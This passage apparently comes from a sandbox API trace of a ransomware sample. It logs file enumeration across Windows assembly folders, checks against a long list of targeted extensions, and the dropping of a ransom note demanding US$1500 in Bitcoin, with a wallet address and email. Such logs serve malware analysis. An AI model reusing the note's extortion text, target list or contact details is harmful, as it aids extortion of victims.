(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.odb") returned 0 [0104.256] lstrlenA (lpString="*.odb") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.java") returned 0 [0104.256] lstrlenA (lpString="*.java") returned 6 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.asm") returned 0 [0104.256] lstrlenA (lpString="*.asm") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pfx") returned 0 [0104.256] lstrlenA (lpString="*.pfx") returned 5 [0104.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pem") returned 0 [0104.256] lstrlenA (lpString="*.pem") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.p12") returned 0 [0104.257] lstrlenA (lpString="*.p12") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.gpg") returned 0 [0104.257] lstrlenA (lpString="*.gpg") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vsd") returned 0 [0104.257] lstrlenA (lpString="*.vsd") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.odg") returned 0 [0104.257] lstrlenA (lpString="*.odg") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.raw") returned 0 [0104.257] lstrlenA (lpString="*.raw") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.nef") returned 0 [0104.257] lstrlenA (lpString="*.nef") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.svg") returned 0 [0104.257] lstrlenA (lpString="*.svg") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.psd") returned 0 [0104.257] lstrlenA (lpString="*.psd") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vmx") returned 0 [0104.257] lstrlenA (lpString="*.vmx") returned 5 [0104.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vmdk") returned 0 [0104.257] lstrlenA (lpString="*.vmdk") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.vdi") returned 0 [0104.258] lstrlenA (lpString="*.vdi") returned 5 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.lay6") returned 0 [0104.258] lstrlenA (lpString="*.lay6") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mpeg") returned 0 [0104.258] lstrlenA (lpString="*.mpeg") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.djvu") returned 0 [0104.258] lstrlenA (lpString="*.djvu") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tiff") returned 0 [0104.258] lstrlenA (lpString="*.tiff") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.backup") returned 0 [0104.258] lstrlenA (lpString="*.backup") returned 8 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.pdf") returned 0 [0104.258] lstrlenA (lpString="*.pdf") returned 5 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.cert") returned 0 [0104.258] lstrlenA (lpString="*.cert") returned 6 [0104.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.docm") returned 0 [0104.258] lstrlenA (lpString="*.docm") returned 6 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xlsm") returned 0 [0104.259] lstrlenA (lpString="*.xlsm") returned 6 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.dwg") returned 0 [0104.259] lstrlenA (lpString="*.dwg") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.nd") returned 0 [0104.259] lstrlenA (lpString="*.nd") returned 4 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.tlg") returned 0 [0104.259] lstrlenA (lpString="*.tlg") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.lgb") returned 0 [0104.259] lstrlenA (lpString="*.lgb") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mov") returned 0 [0104.259] lstrlenA (lpString="*.mov") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.xdw") returned 0 [0104.259] lstrlenA (lpString="*.xdw") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.ods") returned 0 [0104.259] lstrlenA (lpString="*.ods") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.wav") returned 0 [0104.259] lstrlenA (lpString="*.wav") returned 5 [0104.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.mp3") returned 0 [0104.259] lstrlenA (lpString="*.mp3") returned 5 [0104.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.aiff") returned 0 [0104.260] lstrlenA (lpString="*.aiff") returned 6 [0104.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.flac") returned 0 [0104.260] lstrlenA (lpString="*.flac") returned 6 [0104.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.m4a") returned 0 [0104.260] lstrlenA (lpString="*.m4a") returned 5 [0104.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCFFRast#\\3e357e76593a8cc5346dc0431f4cdaa9\\PresentationCFFRasterizer.ni.dll", pszSpec="*.csv") returned 0 [0104.260] lstrlenA (lpString="*.csv") returned 5 [0104.260] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f41a08, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f41a08, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f41a08, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.260] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.260] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f8dcc9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1f8dcc9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1f8dcc9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3e357e76593a8cc5346dc0431f4cdaa9", cAlternateFileName="3E357E~1")) returned 0 [0104.260] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.260] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationCore", cAlternateFileName="PRESEN~1")) returned 1 [0104.260] lstrcmpA (lpString1=".", lpString2="PresentationCore") returned -1 [0104.260] lstrcmpA (lpString1="..", lpString2="PresentationCore") returned -1 [0104.260] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.260] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationCore" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore" [0104.261] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore") returned 63 [0104.261] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.261] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.261] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.261] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.261] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.261] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2ad23de8284d4594aa658dfb5e667d97", cAlternateFileName="2AD23D~1")) returned 1 [0104.262] lstrcmpA (lpString1=".", lpString2="2ad23de8284d4594aa658dfb5e667d97") returned -1 [0104.262] lstrcmpA (lpString1="..", lpString2="2ad23de8284d4594aa658dfb5e667d97") returned -1 [0104.262] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\*.*") returned="*.*" [0104.262] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\", lpString2="2ad23de8284d4594aa658dfb5e667d97" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97" [0104.262] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97") returned 96 [0104.262] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.262] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.262] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc839508, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc839508, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc839508, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.262] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.262] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.262] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e8d20, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc3e8d20, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc64a324, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xbab000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCore.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.262] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationCore.ni.dll") returned -1 [0104.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationCore.ni.dll") returned -1 [0104.263] lstrcmpiA (lpString1="", lpString2="PresentationCore.ni.dll") returned -1 [0104.263] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\*.*") returned="*.*" [0104.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\" [0104.263] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\") returned="" [0104.263] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\HOW TO DECRYPT FILES.txt" [0104.263] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationcore\\2ad23de8284d4594aa658dfb5e667d97\\how to decrypt files.txt")) returned 0xffffffff [0104.263] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationcore\\2ad23de8284d4594aa658dfb5e667d97\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.264] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.264] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.266] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.266] CloseHandle (hObject=0x90) returned 1 [0104.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\", lpString2="PresentationCore.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll" [0104.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.ems") returned 0 [0104.266] lstrlenA (lpString="*.ems") returned 5 [0104.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.db") returned 0 [0104.266] lstrlenA (lpString="*.db") returned 4 [0104.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.dbf") returned 0 [0104.266] lstrlenA (lpString="*.dbf") returned 5 [0104.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.myox") returned 0 [0104.267] lstrlenA (lpString="*.myox") returned 6 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.myo") returned 0 [0104.267] lstrlenA (lpString="*.myo") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbw") returned 0 [0104.267] lstrlenA (lpString="*.qbw") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbb") returned 0 [0104.267] lstrlenA (lpString="*.qbb") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbm") returned 0 [0104.267] lstrlenA (lpString="*.qbm") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbo") returned 0 [0104.267] lstrlenA (lpString="*.qbo") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbx") returned 0 [0104.267] lstrlenA (lpString="*.qbx") returned 5 [0104.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qba") returned 0 [0104.268] lstrlenA (lpString="*.qba") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qby") returned 0 [0104.268] lstrlenA (lpString="*.qby") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qbj") returned 0 [0104.268] lstrlenA (lpString="*.qbj") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.ofx") returned 0 [0104.268] lstrlenA (lpString="*.ofx") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.qif") returned 0 [0104.268] lstrlenA (lpString="*.qif") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mye") returned 0 [0104.268] lstrlenA (lpString="*.mye") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.mbox") returned 0 [0104.268] lstrlenA (lpString="*.mbox") returned 6 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.eml") returned 0 [0104.268] lstrlenA (lpString="*.eml") returned 5 [0104.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationCore\\2ad23de8284d4594aa658dfb5e667d97\\PresentationCore.ni.dll", pszSpec="*.pst") returned 0 [0104.268] lstrlenA (lpString="*.pst") returned 5 [0104.268] PathMatchSpecA 